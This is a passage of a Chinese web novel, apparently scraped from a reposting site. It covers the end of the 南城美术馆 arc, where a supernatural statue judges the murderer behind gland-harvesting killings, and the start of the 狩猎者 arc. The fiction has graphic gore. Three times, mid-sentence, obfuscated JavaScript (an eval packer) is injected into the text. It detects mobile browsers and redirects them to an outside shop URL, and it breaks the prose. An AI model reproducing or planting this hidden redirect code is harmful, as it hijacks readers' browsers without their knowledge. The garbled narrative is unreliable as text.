温偌水和顾随之像两尾鱼钻进雨水里,由于缺少工具,他们只能徒手挖土。被雨水浇淋的土湿哒哒的,没一会二人的指缝间便满是尘土了。 恶臭袭来,顾随之的指尖碰到一处硬物,他铆足劲将土翻了开去。一具已经高度腐烂,皮肉里蛆虫蠕动的尸体出现在了二人眼前。 “头呢?找不到头!”雨声实在太大,两人明明离得很近,但是说话全都得靠吼。 “为什么唯独头不见了?”二人又翻找了一会,仍旧找不到那颗头颅,温偌水陷入了沉思。 就在这时,异变突起! 由于雨声实在嘈杂,温偌水没能注意身后的异动,当棍棒袭来时她毫无准备。身边的顾随之倒是凭借出色的听力发现了异常,但他来不及提醒温偌水躲避,只能飞扑上前,将温偌水撞了开去。 顾随之发出一声闷哼,捂着头瘫倒在地上。 温偌水反应迅速,捡起地上的石头向那人砸去,这时另一人又抄起棍棒迎面打来,温偌水一个侧身闪过,飞起一脚正中那人门面! “啊——!!!” 被踹飞的瘦子撞到卡车的后视镜,痛得大叫一声,匍匐在地上直咕涌。 温偌水胜券在握,但抬头一看,暗道不妙——那瘦子将后视镜撞歪了,温偌水半个人都被后视镜照了进去! 糟了! 温偌水想逃已经来不及了,下一秒天旋地转,她再度被镜子吸了进去。 湿淋淋的温偌水和万里无云的世界有些格格不入,她看着眼前熟悉的荒地,眉头下意识蹙起。 几分钟前,她和顾随之就是在这块荒地上挖到了那具被掩埋的尸体,但是此刻,荒地上长满了半身高的紫色花朵,花朵开得妖艳,草木郁郁葱葱,根本看不清棕黑色的泥土。 在花丛的中央,站着一个背对着自己的黑长发女人。 温偌水眯起了眼睛,全身的肌肉都蓄势待发。 “他们的苦痛发生于过去。” 女人突然说道。 “而过去从未过去。” 说话间,肉红色的细细触手从女人的脖颈处疯狂生长,像是喷吐的蛛丝,深入花丛,直探地下。 只听得一阵土崩瓦解之声,妖艳的花朵向两侧倒去,一具具尸骨被触手吊了起来。这些尸骨的腐烂程度不一,有的还较为新鲜,有的已经皮肤溃烂爬满蛆虫,有的则已然白骨森森,但无一例外的是,它们都没有头颈。 触手的末端突然开花般张开,一张张布满尖牙的嘴开始咀嚼这些尸骨。“嘎嘣——嘎嘣——”的碎骨声此起彼伏,骨头屑像雪花一样飘扬开来。不一会,尸骨尽数被吞噬,温偌水听见那女人打了个饱嗝。 “你是谁?”温偌水问。 女人没有回答,只道:“死亡正在进行。” 随后,她的皮肤开始涌动,许多只鬼手从四面八方涌来,抓住她的四肢——用力一扯!血肉飞溅,皮肉绽开,一座浴血的审判女神像站了起来! 雕像高举手里的长剑,然后将其像标枪一样投射出去。温偌水想躲,但是那些鬼手死死地抓住了她,让她动弹不得。 长剑贯穿心脏,温偌水听到的最后一句话是那雕像说的: “你也有罪。” . “噗哈——” 温偌水猛然从床上惊醒,发现自己竟回到了美术馆二楼的卧室里。 她伸手摸了摸自己的胸口,衣物完整,没有伤口,但胸骨下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“哦?你为什么觉得我会是凶手?”温偌水冷冷地看向司楚盛。 司楚盛有些发怵,但是依旧挺着胸道:“孙雁的尸体被切割得那么整齐,而你又具备医疗解剖的知识,能做到分尸的只有你!” “而且正常人第一眼看到尸体都会觉得恶心或者害怕,想要离得越远越好,但是你倒是对那具尸体很感兴趣。”沙谦涛附和道,“孙雁夜不归宿、混迹酒吧已经是既定的事实,山上黑户工又那么多,大概率就是被奸杀的。你又说什么她怀孕了,无非就是在转移视线,估计尸体也是你偷偷藏起来的。” 温偌水挑了挑眉:“还有呢?” 李松宝偷瞥了她一眼,小声说道:“你一进场就在针对何小姐,我那天晚上去敲你们房门问何小姐的下落,你们想也没想就直接说没见过,有些奇怪……” “何昕存和凶杀案有关吗?”温偌水被气笑了,眼神在说“你们的脑子是摆设吗”。 “少废话了,凶手就是你!”司楚盛胸有成竹道。 温偌水扫视一周,最后视线落在了司楚盛身上。 这个人好像从一开始就在把众人的注意力往“奸杀”上引,为什么? 失踪的尸体—— 突然,温偌水瞪大了眼睛。 孙雁失踪后十天才被人发现尸体,刚发现时她的尸体还未大面积腐烂,说明在此之前,她的尸体应该被特意保存过,而鲜红的尸斑又暗示她是被冻死的。 冻死—— 冰柜! 孙雁和那些失踪者一样,曾经被置于冰柜中冷冻保存过! 但为何只有孙雁的尸体被找到了? 她和其他失踪者有什么区别吗? 温偌水低头沉思着,手不经意间摸上了后脖颈。 ——孙雁的头颈,还在! “啊呀!”李松宝惊叫一声,被温偌水撞到了一边。 “快追!别被她跑了!”司楚盛大喊。 温偌水一路跑到后山的天文楼废墟,在地上捡起已经被雨水泡烂的工程日记。 有没有……到底有没有…… 她艰难地将黏在一起的纸页分开。 找到了! 32. 南城美术馆(十五) 温偌水艰难分开最后一页,在工程队施工人员的表格里艰难地找到了一人的名字。 【但是这堵墙还是太矮了,根本拦不住工人,我记得那时候就经常能看到有工人结伴去山下的学生食堂吃饭。】 工人,可以去学生食堂吃饭,学生们对他们的出现见怪不怪。食堂的后厨里可以找到冰柜,冰柜存放尸体,所以尸体上会出现鲜红色的尸斑! 再结合一下表单上出现的姓名,真相已经一目了然。 温偌水看向追上前来的光头,视线冷冷地在他身上逡巡,仿佛冷酷的屠夫正在看砧板上待宰的鱼一样。 “我看你往哪跑!”司楚盛还不知道自己已然暴露,恶狠狠地盯着温偌水,一脸胜券在握。 “你好像从未说过,你曾经是天文楼建筑工的一员。”温偌水道。 司楚盛一愣,赶忙找补:“是有如何?不是说了那女的身上有信息素残留吗?我是个beta,有哪门子的信息素啊!” “因为你有同伙。”温偌水想起了之前见到的处理尸体的那两人,初步估算司楚盛负责将人分尸并塞入冰柜,其他两人负责处理冰柜里的尸体。 “嗬,你可真会编故事!”司楚盛咬牙切齿道。 “孙雁的尸体也是你盗走的吧?独居一室的好处是来去自由,但也没人可以给你做不在场证明。” “我盗走她的尸体有什么好处?” “你想要掩埋某个真相。”温偌水摸了摸自己的后脖颈,“为了隐瞒孙雁不是被奸杀的事实,你把她藏了起来。既然不是被奸杀的,那孙雁是为何而死?” “这个真相是什么呢?” “闭嘴!”司楚盛浑身颤抖,冲温偌水挥出了一拳。 温偌水叹了口气,抬起一脚将司楚盛踹了出去,司楚盛像皮球一样滚落山坡,吃了一嘴土腥气。 “你早就知道不是我的对手,却还要硬冲上来。究竟是勇气可嘉呢,还是愚不可及呢?”温偌水垂眸看着山坡下的司楚盛,仿佛在看一只垂死挣扎的蝼蚁。 一旁的李松宝和沙谦涛目睹了全程,不由得咽了口吐沫。 “到你们表态的时候了。”温偌水向两人扬了扬下巴。 李松宝紧张得快哭出来,吞吞吐吐道:“虽然司大哥有疑点,但是你自己的嫌疑也没有洗清啊……身为劣等人,你为什么会知晓那么多?” 温偌水眯起了眼睛,她现在发觉李松宝为何招人讨厌了,因为这家伙不仅嘴碎,还墙头草。她就是看准了顾随之和季小柔不在,不想得罪另外两个人罢了。 至于沙谦涛—— 他一脸警惕地看向温偌水,有意无意地护住了自己的裆.部,说:“我知道你是谁了!” 观察了几次温偌水打人的手法,沙谦涛无比确信几年前在黑暗巷道里袭击自己的人就是温偌水,也认出了她就是那天出现在汪莓家门口的女人! “你比何昕存聪明点。”温偌水堪称欣慰地说道。 沙谦涛看着她脸上那嘲讽的微笑,将自己的裤.裆捂得更紧了。 “哈哈,看到了吧,现在没人站在你那边!”司楚盛从地上爬起来,狰狞地笑道,“你就是凶手!” “我同意。”沙谦涛想都没想就点了点头。 季小柔也颤颤巍巍地小声附和。 沉闷的脚步声从远处传来,几人远远看见了提剑的审判女神像正缓步走来。 “最终的审判!”司楚盛大笑起来。 温偌水冷冷地看向另外二人:“域主的怨念未能解决,你们都会死。” 沙谦涛一把抓住李松宝的肩,迫使她和自己站到了一起,恶狠狠道:“不牢你操心!” 巨大的阴影笼罩住温偌水,她都不用抬头,就知道女神像已经走到了自己的身后。 温偌水看到长剑的影子高抬。 这次会被从哪里贯穿呢?她想。 心里没有一丝半点的恐惧,甚至还有一丝隐秘的…… 期待? 远处的三人伸长脖子,像三只鹅一样看向这里。他们坚信温偌水要死了,他们自己要解脱了。 但是下一秒,异动突起! 先前还一脸兴奋的沙谦涛突然脖子上多了个窟窿,身侧的李松宝瞪大双眼看着溅到自己满身的红,身体不住地颤抖后发出凄厉的尖叫声! 沙谦涛还没有反应过来发生了什么,脸上还挂着胜者的微笑,他看见李松宝突然尖叫起来还想问问发生了什么,但突然双腿乏力,猛地瘫坐在地上。 血液浸湿了衣裳,热气腾腾,让沙谦涛感觉自己似乎回到了母亲的羊水里。 他用尽力气向前看去,发现温偌水不知何时躲过了女神像的长剑,手里抛着几块碎钢筋,一脸淡漠地走近。 “突然想到了一个简单粗暴的方法。”冰冷的话语从温偌水的薄唇中流出,“只要把你们都杀了,我就是那个多数者了。” 李松宝已经吓得无法发出声音,像尊木雕一样凝固在原地。 沙谦涛颤抖着身体,用力捂住自己的伤口。 事情怎么和他想的不一样? 他听完温偌水先前的话后就基本上断定司楚盛是真正的凶手,但他同时也猜到何昕存的死和温偌水脱不了干系。他知道,如果让温偌水活着走出这个场,那么下一个死的人必然是自己。所以他想借助场内的规则,先置温偌水于死地,然后再和李松宝一起把司楚盛投出去。 但是没想到,温偌水会突然来这么一招。 女神像似乎也没想到事情会变得如此有趣,停了下来欣赏眼前的屠杀。 看着一步步逼近的温偌水,李松宝突然跪了下来,以头抢地不断求饶:“求求你不要杀我!他是凶手!我和你一起把他投出去!”她指了指一边同样呆若木鸡的司楚盛,涕泗横流。 “谢谢你的提议,但是我应该不用了。”温偌水微微笑着,拒绝了李松宝的“好意”。 李松宝身体停住了颤抖,突然,她高声尖叫道:“凶手就是你!凶手就是你!”她看向女神像,“你还在等什么!审判呢?!” 女神像抬头看了眼天,太阳当空,正是审判的好时间。于是它有些遗憾地停止观赏闹剧,提剑冲温偌水奔去。 温偌水“啧”了一声,反身用手里的钢筋挡住了女神像的一击。 但是在场内,女神像的力量是绝对的,温偌水感到手臂一麻,手里的钢筋飞了出去。 女神像再度高举长剑—— “杀了她!” “杀了她!” 李松宝和司楚盛的声音重合在一起。 长剑劈下—— “凶手是司楚盛!” 突然,一道高声撕破长空,女神像的剑蓦然停在距离温偌水的头顶仅咫尺的地方! 温偌水抬眸看去,只见浑身是血的顾随之正扛着季小柔匆匆赶到! “太慢了。”温偌水不咸不淡道。 顾随之看到温偌水的那一刻,一口气才彻底呼了出去,但还没出口慰问他又看到了倒在血泊中沙谦涛的尸体,一口气又提了上来,把快要放下来的季小柔又扛回了肩上。 季小柔:“?义父,让我下去啊!” 顾随之:“地上有狗屎,脏。” 季小柔:“那你为什么不能公主抱我?你的肩膀太硬了,顶我的胃,我想吐!” 顾随之:“再忍忍,狗屎看多了容易长针眼。” 季小柔:“……真的假的……” 温偌水看到平安归来的二人不禁松了口气,但是听到两人聒噪的二人转又捏紧了拳头。 随着顾随之和季小柔的归来,局面再度发生逆转!李松宝和司楚盛知道垂死挣扎已再无用处,纷纷瘫倒在地。 女神像看时机到了,双手握住长剑,向脚下的土地猛地一插。顿时,飞沙走石,大地震撼,众人再睁眼时,发现回到了美术馆一楼。 但是此刻一楼的布 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13095403|134718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 局发生了一些微妙的变化。薛笙等人的尸体环城一圈,围绕着几人,剩余的展品则井井有条地分散在后头。这让温偌水不禁想起古代时期的审判庭。 “审判正始。”女神像发出庄严的声音。 无数只鬼手从地面下涌出,将司楚盛押倒在女神像的脚下。 “汝可知罪?” 司楚盛牙关打着颤,冷汗直流。 “请陈其罪。” 顾随之愣了一下,才发现女神像是在对他们仨发话。但很快他反应过来,冷静陈述已知的线索。 “温温姐发现了司楚盛的名字曾出现在102年天文楼建筑工队名单中,证实102年他曾出没于南城大学内,具备作案可能性。” “经学生证实,后山上的建筑工可以翻越围墙进入南城大学食堂用餐,食堂后厨存放着冰柜,常有学生抱怨食堂窗口传来臭味。我和温温姐在104年的一夜进入食堂,目击了有人从冰柜中搬运出发臭的尸体,并于第二食堂废址进行掩埋。挖掘后发现尸体手背有苹果核的纹身,从衣物也可确认死者为失踪者刘禾。” 说着,顾随之从口袋里掏出一张驾驶证,温偌水这才注意到他的手背指节处满是伤口,不由得多看了几眼。 “我在埋尸者的卡车里发现了属于司楚盛的驾驶证,证明他和刘禾的死亡有一定联系。” “小柔则在陈列室内找到了曾获过奖的第二食堂设计图,同时也找到了拟合作建筑方,这与102年天文楼的合作建筑方是同一家,附录的照片中显示司楚盛也是建筑队一员。前后两人出事,司楚盛都在现场,合理怀疑其有重大嫌疑。” 司楚盛脸色煞白,已经放弃了抵抗。 “因何而死?” 顾随之愣了一下:“我只知道是司楚盛杀了人,但是不知道什么原因。”说罢,他看向司楚盛,问,“为什么?” 司楚盛白着一张脸说:“只是我一时兴起,贪图美色,是我激情杀人,没有其他原因!” 温偌水冷冷地看着他:“死到临头还在嘴硬吗?孙雁根本不是死于奸杀,因为她已经怀孕了。” “你怎么确定她怀孕了?她的尸体明明被我藏起来了!” “我问过季杜鑫了,他死前证实了这一点。” 顾随之了然,原来当时温偌水问季杜鑫的问题就是这个。 “而且,就算你是一时兴起,也没必要把孙雁先放进冰柜再拖回后山分尸。你有藏尸的过程,也有同伙,不可能是激情杀人。” 温偌水每说一句,司楚盛的脸色就越发苍白一分。 “故实何谓?” “孙雁由于长期处于学校内的言语暴力以及男友的冷暴力中精神出现了问题,当天早上和男友发生争执后产生了轻生的想法,但是由于季杜鑫发现及时,孙雁没能自杀成功。然而在山上她遇见了当值建筑工的司楚盛,被打晕后藏于冰柜冷冻,后来又因为什么原因二次锁喉勒杀,尸体被肢解后抛于后山。” “刘禾则是因为与社会闲散人员沙谦涛来往被李松宝散播流言,企图寻求老师贾衫壬的帮助,但是被冷漠对待。当天晚上久未归宿,48小时后父母报案失踪。其实那时已经被司楚盛盯上,以对待孙雁同样的手法,刘禾被冷冻于冰柜当中。然而冰柜出现了问题,学生们发现了异常,司楚盛不得不安排人连夜更换冰柜,并抛尸第二食堂废址。” “所有死者都曾被冷冻保存过,为何要有保存尸体这一步?” 温偌水看向司楚盛,司楚盛嘴唇发白,眼睛瞪得老大。 “所有的死者里只有孙雁的尸体较为完整,其他尸体都失去了头颈部分。”温偌水摸上了自己的后脖颈,“为何只有孙雁的头颈保存完整?她和其他人有什么不同之处吗?” 突然,司楚盛大叫一声,一头撞在冰冷的地面上,血花四溅,淫.靡诡谲。 温偌水手一顿,突然想到了一个不可思议的答案—— “腺体?” 33. 南城美术馆(end) “腺体?” 温偌水刚说出这句话,余光中顾随之的身体便是一抖。 倒在血泊里的司楚盛气若游丝道:“不、不……求求你千万不要说出去,他们会杀了我、会杀了我!” 温偌水冷声道:“你今天本就是要死的。” “不、不一样!他们……他们是恶魔!他们会杀了我的!”说完,司楚盛便发了疯般撞击着地面,血花越溅越多,很快,纯白的瓷砖就被鲜血染红了。 “然也。”女神像高举手中的剑插入地下。 正如温偌水所猜测的那样,司楚盛一伙人绑架了孙雁之后便发现她是个beta,而beta是没有腺体的,因此孙雁的头颈才被保留了下来。而另一位受害者刘禾就没有这么好运了,他的尸骨与其他无数个无名者一起深埋地下,滋养着腐烂艳靡的花。 但是,那些人要腺体做什么呢?以至于司楚盛宁可一头撞死都不愿意落入那些人手中。 流动的黑从女神像的长剑中游弋而出,很快,那黏腻的黑色吞噬了白色的瓷砖,也吞噬了高大的雕像。雕像的头顶没入黑色的沼泽,下一秒,无数白骨从地下爬起,它们没有头颅,没法撕咬司楚盛,只能伸出双手,将司楚盛撕扯成无数碎片。 “啊啊啊啊啊啊啊啊啊啊——!!!” 司楚盛的嚎叫声接连不断,很快他就变成了一个赤.裸的血人。肥胖的身躯彻底倒下,被黑暗吞噬。那些无头的尸骸手舞足蹈起来,虽然它们没法发出欢呼声,但是通过那骨头摩擦碰撞的“嘎啦嘎啦”声,温偌水等人也能感受到它们的爽意。 环绕住几人的展品也骚动起来,除了薛笙以外,其他的尸体都疯狂地舞动着。易醉阳保持着倒吊的姿势,以头顶地,来回弹跳;何昕存对折成两半的身体像蚌精一样来回开合,凝固的血块横飞;贾衫壬跳着奇诡的恰恰舞,由于头颈被砸烂失去了支撑,教皇帽掉了下来,细碎的脑仁暴露在空气中;季杜鑫以自己身体里的轮盘为鼓,激情地击打着;刚咽气没多久的沙谦涛贴地乱爬,将血水蹭得哪哪都是。 “啊啊啊啊救命救命!”李松宝坐在地上,崩溃地大喊大叫着,一旁的沙谦涛的尸骨还俏皮地往她脸上扔刚从自己伤口里流淌出的新鲜血块。 “义父……我真的要吐了……”季小柔紧紧闭着眼睛,但依旧能听见那些癫狂的动静。 顾随之脸色也不太好看:“乖,忍着,我的外套可贵了,你赔不起。” 温偌水:“……” 诡谲荒诞的舞会持续了约莫半小时,残暴的复仇才终于结束,尸骨们再度沉寂地下,世界又变成了单调刺眼的白色。美术馆一楼内空荡荡一片,所有的展品都消失不见,包括从一开始就在这里的那枚零号展品戒指。 温偌水突然问:“孙雁脖子上的第二道勒痕到底是怎么来的?” 顾随之猜测道:“冰柜应该是为了‘保鲜’。司楚盛将活人打晕塞进冰柜,他口中的‘他们’会取走这些人的头颈,检测腺体活性的最好方法就是释放信息素观察腺体的凸起反应,但是他们很快发现这次送来的孙雁是个beta,根本没有腺体,所以就没有取下她的头颈。” “会出这样的乌龙也不例外,毕竟司楚盛是个beta,他也无法断定孙雁究竟有没有腺体。”温偌水道。 顾随之点了点头:“但是负责埋尸的人在此之前可没见过完整的尸体,他们打开冰柜,看见了孙雁的尸体脸上带笑,估计以为她没死透,所以……” 再后来发生的事情,温偌水也都知晓了。 她叹了口气,不知道说些什么才好。 就在这时,死去多日的薛笙突然出现了,她依旧穿着一身黑,带着微笑从镜子里走了出来。 尸体消失后,顾随之便把季小柔放了下来,她刚落地就看见了迎面走来的薛笙,吓得一个趔趄:“妈呀,你不是死了吗?” 薛笙笑道:“我也没说死的就是我啊,而且不是和你们说了,不要轻易相信某件事。” 和季小柔的吃惊相比,温偌水和顾随之就冷静得多。薛笙好奇问:“你们什么时候知道的?” 温偌水:“第二天易醉阳的脸出现在雕像上时就猜到了。” 顾随之:“我看温温姐想掀女神像的头纱时也猜到了。” 季小柔一脸疑惑:“这是怎么猜到的?” 顾随之耐心解释:“死掉的人都会变成后山雕像群中的一座雕像,那第一天死的薛笙也应该在其中,其他雕像的面部都没有遮掩不可能是她,唯一的可能就是那座女神像了。” 闻言,季小柔立马瞪大了双眼:“你说什么?她就是女神像?!” 薛笙眯起眼睛笑了起来:“你们很聪明。” 她的身后出现了一面巨大的镜子,几人认出这就是刚入场时他们通过的那面镜子。 “恭喜你们完成了任务,现在你们可以回到原来的地方了。”薛笙让出了身后的镜子,并做了个“请”的姿势。 “等等。”温偌水突然道,“我有几个问题。” 薛笙:“请说。” “‘他们’要腺体做什么?” 薛笙先是一愣,随后露出一个神秘的笑:“这个问题的答案,你应该比我更清楚。” 温偌水:“?” “下一个问题。” “那个女人是你吗?” 薛笙脸上的笑容凝滞了,她眼中难得流露出属于人类的情感,轻声说:“她还是忘不了这里啊……” “什么意思?”温偌水皱起眉来。 薛笙又恢复了那标准的微笑:“以后你会知道她是谁的。” 温偌水还想说什么,一股巨力把她牵扯进了镜子内,天旋地转,薛笙的身影消失在了眼前。 . 再度看见那颗西蓝花一样的后山时,温偌水有种恍如隔世的感觉。 耳畔警铃大作,红□□光交替,周围拉满了禁止入内的警戒线。 顾随之找到一处水塘,蹲坐着搓洗手上的血迹。他洗得很认真,将每一根指头都仔细清洗了一遍。可即便手指已经洗得很干净了,他依旧用力搓着,力气之大竟把皮肤搓红了,不知道的还以为他要搓掉一层皮。 温偌水抿了抿唇,想问问他独自留在104年时经历了些什么,但话到嘴边又问不出口了。她有些头疼,一回头,和一个高大的黑皮肤红头发女警对上了视线。 女警冲着温偌水吹了个口哨,语气轻佻道:“啊,这次活着出来的人不多嘛。” 温偌水不喜欢她的轻佻,不悦地蹙起眉。 女警:“哈,美人蹙眉也是美人——” 话音未落,一只戴着黑色手套修长的手夹着警用记录册,抵住了女警的唇。 “塔莉莎小姐,这样很失礼。”一位皮肤白皙的男警说道。 塔莉莎眨了眨眼,随后大笑着搂过男警的腰,在他脸上“吧唧”亲了一口:“我们阿泽真的好可爱啊!” 被称作阿泽的男警面无表情地推开塔莉莎的脸,走上前来了解情况。 “阿泽哥,你怎么在这?”顾随之惊奇道,“野莎姐也在!”下一秒,他从地上跳起身来,激动地抱住了乔泽。 “你们还活着!这真是太好了!”顾随之眼泪不受控制地涌了出来。 乔泽轻轻拍了拍顾随之的背:“嗯,有惊无险。” 塔莉莎歪嘴笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13117046|134718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着走来,一把揉了揉顾随之凌乱的头发,随后脸垮了下来:“哦我的大地神啊,是哪个混蛋把我们之之漂亮的头发削成这狗啃的模样?” 顾随之挠了挠脸:“呃,域主?” 塔莉莎:“哦,那我现在去干架似乎也来不及了?” 顾随之苦笑两声,随后立即给两位熟人介绍起温偌水来。 “阿泽哥,野莎姐,这位是温温姐,温……温十三。” 塔莉莎挑了挑眉:“美人起名都是这么随意的吗?” 乔泽再度堵住她的嘴,并伸出一只手:“不好意思温小姐,塔莉莎小姐向来如此,请见谅。” 温偌水扫视了一眼他俩胸前的十字星徽章,又想起上次遇到的那群无礼联邦警察,冷漠地扭过脸去。 乔泽也不觉得尴尬,将手收了回来,脸上依旧没什么表情。 顾随之抿了抿唇,继续介绍:“温温姐,这位是乔泽,这位是塔莉莎,他俩都是我的好朋友,刚从能量场出来不久。” 温偌水冷声道:“你既然有联邦警朋友,怎么还会被那群人塞进能量场里?” 闻言,塔莉莎瞬间变了脸色:“哪个狗日的敢动我们之之,老娘阉了他!”说完,她又叽里咕噜地骂了一圈温偌水听不懂的方言。从表情和语气来看,估计骂得很脏。 这次乔泽并没有阻拦她,等她骂完了才说了句:“注意言辞,塔莉莎小姐。” 顾随之摆了摆手:“那只是个意外!”他话锋一转,“话说你们怎么来这了?” 乔泽道:“一是来检录,二是来调查事发现场。” 顾随之环顾四周的警戒线,问:“出什么事了吗?” “昨日大雨,南城大学后山山体滑坡,冲出来几具尸骨。”乔泽修长的手指挑开记录册,“警犬在第二食堂废址也发现了异常,我们正在进一步调查。” 闻言,顾随之看向了温偌水,温偌水沉思片刻,问:“是和腺体有关吗?” 塔莉莎眯起眼睛,语气带着些狠意:“废址的不清楚,后山的都是部落民的骨头。”她“啧”了一声,又道,“我倒要看看那群老不死的这次怎么糊弄。” 乔泽瞥了一眼塔莉莎,说:“抱歉,塔莉莎小姐情绪比较激动,因为那些尸骨里很可能有她的祖先。” 顾随之瞪大双眼:“啊?那个部落民的故事是真的?” 季小柔也惊讶了一下:“我还以为是薛笙骗我们的……不对,她不是说那是瞎编的吗?” 乔泽不清楚场内到底发生了什么,他只是有些在意温偌水说的话:“温小姐,这次能量场内发生了什么和腺体有关的事情吗?” 温偌水虽然讨厌联邦警察,但是她十分好奇薛笙对她说的话。 什么叫做自己应该比任何人更清楚这个答案? 太阳穴又开始疼,温偌水皱着眉将自己知道的事情说了个大概。 “嗯,我知道了。”乔泽心下了然。 “所以到底怎么回事?”温偌水问。 “涉及公共安全,恕我无可奉告,感谢温小姐提供线索,辛苦了。”乔泽还有工作,只能中断这场闲聊,他从另一位警员那拿起一张小卡片,递给了温偌水。 “温小姐,这是你补办的ID卡。” “我没有补办ID卡。”温偌水冷着脸说,上一张ID卡已经进了垃圾桶,被她亲手扔掉的。 “我只是例行公事,温小姐,还请配合。”乔泽将卡塞进了温偌水手里,和顾随之点头打完招呼后就带着一行警察离开了这里。 温偌水看着手里崭新的ID卡,目光落在上头的两颗星上,心下一片烦躁。 算了,回家吃个炒面吧。 34. 狩猎者(一) 天色不太好,乌云低垂,烧焦的黑炭般沉甸,仿佛下一秒就要随即砸晕一个幸运路人。 走过巷口,温偌水叹了口气,转过身,问身后的两个跟屁虫:“你们要跟到什么时候?” 被发现的父女俩尴尬得一个望天一个望地,望天的那个睁眼瞎:“今天天气真不错!”望地的那个随口汤:“哇,地上有一百块钱!” 温偌水忍着怒气捏响了指节,二人瞬间稍息立正,站得比旁边砖墙上贴着的海报上的联邦警察还直。 顾随之眨巴着眼睛,认错态度良好:“我们听说西街的炒面很好吃,很想尝尝。” 季小柔点头如捣蒜:“好不容易从能量场里出来了,得吃顿好的庆祝一下!” 温偌水翻了个白眼,翻到一半又听季小柔说:“义父请客!姐姐要不一起?” 白眼堪堪停住,露出凶狠凌厉的下三白:“跟我来。” 她刚转身,顾随之便偷摸着给季小柔比了个大拇指。 三人刚踏进店门,暴雨便倾盆而至,老板忙不迭地关上玻璃门,打招呼道:“十三姑娘又来了?嚯,还带了客人来,这高低得打个折啊!” 店面不太干净,矮小的桌上盖着一层厚得发腻的油污。温偌水一般是不会在店内用餐的,但是今天情况特殊,她只好硬着头皮坐下。 顾随之麻溜地抽出几张纸,将桌子擦了个干干净净,还问老板要了开水烫了碗筷。温偌水愣了一秒,抬眼观察顾随之。 顾随之脸上并没有任何一丝客套或者谄媚,表情和动作都十分自然,仿佛这种事已经发生过无数次一样。 莫名的熟悉感又涌上心头,但温偌水只要一细想便会头疼。 “炒面好了,我去端!”季小柔化身馋嘴的猫,几乎一瞬间便闪到了后厨。 温偌水挑了下眉,顾随之连忙解释:“那是小柔的异能,瞬移。” “嗯。”温偌水并不感到惊奇,趁着季小柔还没回来,她开门见山问,“目睹了那些事居然还敢跟着我,不怕我做点什么吗?” 顾随之愣了一下,张开嘴说了句什么。 温偌水没能听清,她眯起眼睛,眼前的顾随之的脸霎时虚幻扭曲起来。她以为自己低血糖犯了有些发晕,揉了揉眼睛,但再睁眼时,自己又回到了那纯白的审判空间。 审判女神像的脸蒙着纱,眼眶处的凹陷如同深渊。它的脸无限放大,侵占了整个空间,像是漫天压下的乌云居高临下地对着温偌水说: “你我皆有罪。” “……那种极端情况下这么做也是可以理解的,温温姐救了我那么多次,我为什么要害怕……” “不管温温姐做什么,我都会坚定地站在你这边的……” “香喷喷的炒面来咯!”季小柔突兀的一声打断了顾随之的话。 温偌水回过神来,眼前的异象都消失了,身前的桌上摆着一碗色香味俱全的炒面,面被辣椒酱染成了红色,上头还点缀着几片绿油油的香菜。 顾随之看出了温偌水的晃神,关切问道:“怎么了温温姐?” 温偌水呼出一口气,拿起筷子:“没什么,吃吧。”可面对最爱的炒面,温偌水只吃了几口就放下了筷子。辣椒酱咸得齁人,香菜叶有股洗洁精的味道,炒面干涩,油水荤腥。温偌水有点想吐。 顾随之像个做错事的孩子,筷子搅着面,低眉问:“是我刚刚说错什么话了吗?” 季小柔猛地抬起头,嘴角还挂着一根面,一边吸溜一边说:“什么说错话了?你们背着我偷偷说些什么呢!” “没什么。”温偌水按着太阳穴摇了摇头,“可能有些累了,快些吃吧。” 这一顿饭温偌水和顾随之都吃得不太尽兴,唯有啥也不懂的季小柔吃了个肚圆。炒面吃完,她的嘴也肿了一圈,说话也大舌头了起来:“好次!就素有点辣……” 外头的雨停了,但是空气依旧燥郁。温偌水看着那低垂的云又回想起先前幻视的审判女神像,心底一片烦闷,她急促打了个招呼,便加快脚步向家的方向走去。 季小柔吨吨喝着碳酸饮料,鼓着腮帮子说:“姐姐怎么看上去有点不对劲?” 顾随之没说话,闷头搅和着自己的那碗面。等哼哧哼哧吃完准备起身结账时,顾随之从温偌水的座椅上捡起一张小纸片:“诶,温温姐的ID卡落下了。” . 温偌水上次出门时窗户没关紧,雨水打湿了窗台,并把屋内也搞得满是狼藉。她叹了口气,蹲在地上用抹布擦拭水渍。 来来回回擦拭了三次,地面才重回整洁。就在温偌水起身准备倒掉桶里的脏水时,窗户上映出一抹红光—— 是异能! 温偌水瞳孔骤缩,肾上腺激素飙升。可是她身处狭窄的屋内,根本躲不开这硕大的火焰爆弹。 就在巨大的火球破窗的那一刹,一只手搭上了温偌水的肩,下一秒温偌水眼前景象一变,身后不远处爆发出震撼的轰鸣! 她扭头看去,只见402室燃起了熊熊烈火,相邻的屋子也未曾幸免,浓烟滚滚,遮天蔽日。 “啊啊啊啊啊——!!!” 楼道里的居民尖叫着逃窜着,烧着的屋子里有几个火人冲出火海癫狂地舞动,随后从栏杆上失足掉落下来,发出沉闷的响声。烈火烧干了尸体和血迹,发出难闻的焦油味。 “额啊啊啊啊!赶上了!”季小柔心脏狂跳,宛如在打安塞腰鼓,腿一软作势要向地上跪倒。 